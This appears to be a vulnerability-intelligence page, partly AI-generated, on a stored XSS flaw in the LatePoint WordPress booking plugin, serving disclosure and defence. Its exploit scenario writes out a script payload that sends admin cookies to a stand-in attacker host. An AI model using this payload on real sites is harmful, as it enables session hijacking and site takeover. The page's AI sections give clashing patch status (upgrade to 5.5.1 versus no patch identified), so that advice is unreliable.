Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconSubmit malicious booking form
-
DeliveryInject script via booking_form_page_url
-
ExploitStore unsanitized payload in activity log
-
InstallAdmin views activity log
-
C2Execute stored XSS in admin session
-
ExecuteSteal session cookies
-
ImpactHijack admin account
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | No special conditions - remote unauthenticated exploitation against default configurations of LatePoint Calendar Booking Plugin for WordPress versions ≤5.5.0. The vulnerability triggers automatically when any booking attempt is processed, regardless of Stripe Connect configuration status, because the latepoint_order_intent_created action hook fires before payment gateway validation. Exploitation does NOT require a functional Stripe integration, active payment processing, or any non-default plugin settings. However, successful impact requires an authenticated administrator to view the LatePoint activity log interface where the stored XSS payload executes. The lack of administrator interaction at injection time (UI:N in CVSS) means attackers can poison the database at will, but actual code execution is delayed until admin review, creating a time-of-check-time-of-use gap that limits real-time attack chaining but enables persistent compromise. |
| Impact | The CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N indicates network-exploitable attacks with no authentication barriers, low complexity, and changed scope enabling cross-context attacks. The score of 7.2 is justified by the scope change - attackers can inject persistent malicious code into admin contexts from an unauthenticated position. However, real-world exploitation requires social engineering to lure an administrator to view the poisoned activity log, which introduces a human dependency not reflected in UI:N. No EPSS score, KEV status, or POC availability data was provided, suggesting this is a recently disclosed vulnerability without confirmed active exploitation. The Wordfence threat intelligence reference and detailed source code locations indicate thorough researcher validation. Primary risk drivers are: (1) zero authentication requirements for injection, (2) persistence in database guaranteeing repeated execution, (3) targeting of WordPress admin users who possess elevated privileges. Risk is elevated for high-traffic appointment booking sites where admins frequently review activity logs. The lack of Stripe requirement as stated in the description contradicts typical assumptions about payment gateway vulnerabilities, meaning many administrators may incorrectly assume their non-Stripe configurations are unexploitable. |
| Exploit ScenarioDerived | An unauthenticated attacker crafts a malicious booking request to a WordPress site running LatePoint ≤5.5.0, injecting JavaScript payload into the booking_form_page_url parameter (e.g., <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>). The plugin writes this unsanitized input to the activity log database table via the latepoint_order_intent_created hook before any Stripe validation occurs. When a site administrator logs into WordPress and navigates to the LatePoint activity log to review bookings, the stored script executes in their browser session, exfiltrating their authentication cookies to the attacker's server. The attacker then uses the stolen session to access the WordPress admin panel with full privileges. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 06, 2026
Stored cross-site scripting (XSS) in LatePoint WordPress booking plugin (versions ≤5.5.0) allows unauthenticated attackers to inject malicious scripts via the 'booking_form_page_url' parameter that execute when administrators view activity logs. The vulnerability exploits a design flaw where the latepoint_order_intent_created action hook writes unsanitized input to the database before Stripe Connect validation occurs, meaning no functional payment integration is required for exploitation. Wordfence reported this issue with source code references demonstrating the flawed input handling in activities_controller.php and activities_helper.php. CVSS 7.2 with scope change (S:C) reflects potential for attackers to pivot from stored XSS to administrative session hijacking.
RemediationAI
Upgrade to LatePoint version 5.5.1 or later, which implements input sanitization for the booking_form_page_url parameter based on changeset 3522933 visible at https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3522933%40latepoint%2Ftrunk&old=3516282%40latepoint%2Ftrunk&sfp_email=&sfph_mail=. If immediate patching is not feasible, implement a Web Application Firewall (WAF) rule to block requests containing script tags or JavaScript event handlers in the booking_form_page_url parameter, though this may break legitimate bookings with complex referrer URLs. Alternatively, restrict WordPress admin dashboard access to trusted IP addresses via .htaccess or firewall rules, reducing the attack surface for stored XSS execution, but this will impair remote administration capabilities. Review activity logs in the LatePoint admin interface for suspicious entries containing script tags, JavaScript protocols (javascript:), or HTML event handlers (onload, onerror) and manually purge malicious records from the database via phpMyAdmin or WP-CLI, noting this requires technical expertise and database backup before modification.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability exists in the LatePoint Calendar Booking Plugin for WordPress (CPE: cpe:2.3:a:latepoint:latepoint_-_calendar_booking_plugin_for_appointments_and_events), a scheduling and appointment management system. The flaw is rooted in CWE-79 (Improper Neutralization of Input During Web Page Generation). The plugin's Stripe integration flow triggers the latepoint_order_intent_created action hook before validating Stripe Connect account credentials. The activities_controller.php (line 214) and activities_helper.php (line 83) process the booking_form_page_url parameter without sanitization, writing attacker-controlled data directly to WordPress database tables as activity log entries. When administrators later view these logs through the plugin's admin interface, the unsanitized script executes in their browser context. The premature hook execution means the attack surface exists even on installations where Stripe payments are unconfigured or non-functional, significantly broadening exposure beyond typical payment gateway vulnerabilities.
Know when Latepoint gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
The LatePoint - Calendar Booking Plugin for Appointments and Events plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'booking_form_page_url' parameter in all versions up to, and including, 5.5.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The malicious activity log entry is written to the database even when Stripe is not configured, because the latepoint_order_intent_created action hook fires before the Stripe Connect account ID is validated, meaning a fully functional Stripe integration is not required for exploitation.
Executive ViewAI
LatePoint WordPress booking plugin versions 5.5.0 and earlier contain a stored cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious scripts into the database via booking form parameters, which execute when site administrators access activity logs. This creates direct risk to administrator accounts and site integrity, potentially enabling session hijacking and unauthorized administrative actions without requiring valid payment credentials.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Deactivate LatePoint plugin until patch available; (2) Restrict activity log access to essential administrators only; (3) Implement input validation at WAF level to sanitize booking_form_page_url parameter; (4) Enable WordPress security monitoring to alert on stored XSS patterns in database activity logs; (5) Require multi-factor authentication for all administrator accounts to reduce session hijacking impact.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
The LatePoint plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 5.0.12. Rate
The LatePoint plugin for WordPress is vulnerable to Arbitrary User Password Change via SQL Injection in versions up to,
The LatePoint Plugin plugin for WordPress is vulnerable to unauthorized access of data and modification of data due to a
Price tampering in the LatePoint WordPress booking plugin before 5.7.5 lets a remote unauthenticated visitor manipulate
Blind SQL injection in the LatePoint WordPress appointment-booking plugin (versions up to and including 5.6.3) lets remo
LatePoint WordPress plugin through 5.7.4 allows unauthenticated remote attackers who know a target customer's registered
Unauthenticated arbitrary shortcode execution in LatePoint (Appointment Booking Plugin - Calendar & Scheduling for WordP
Privilege escalation in the LatePoint appointment booking plugin for WordPress (all versions up to and including 5.7.3)
Privilege escalation in the LatePoint booking plugin for WordPress (versions ≤ 5.4.1) lets an authenticated user holding
Privilege escalation to Administrator in the LatePoint booking plugin for WordPress (versions up to and including 5.6.3)
Cross-Site Request Forgery (CSRF) vulnerability in Latepoint LatePoint allows Cross Site Request Forgery.9.91. Rated hig
Privilege escalation in the LatePoint Calendar Booking plugin for WordPress (versions up to and including 5.5.1) allows
EUVD-2026-27540
GHSA-97wr-3wr5-r6wx
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB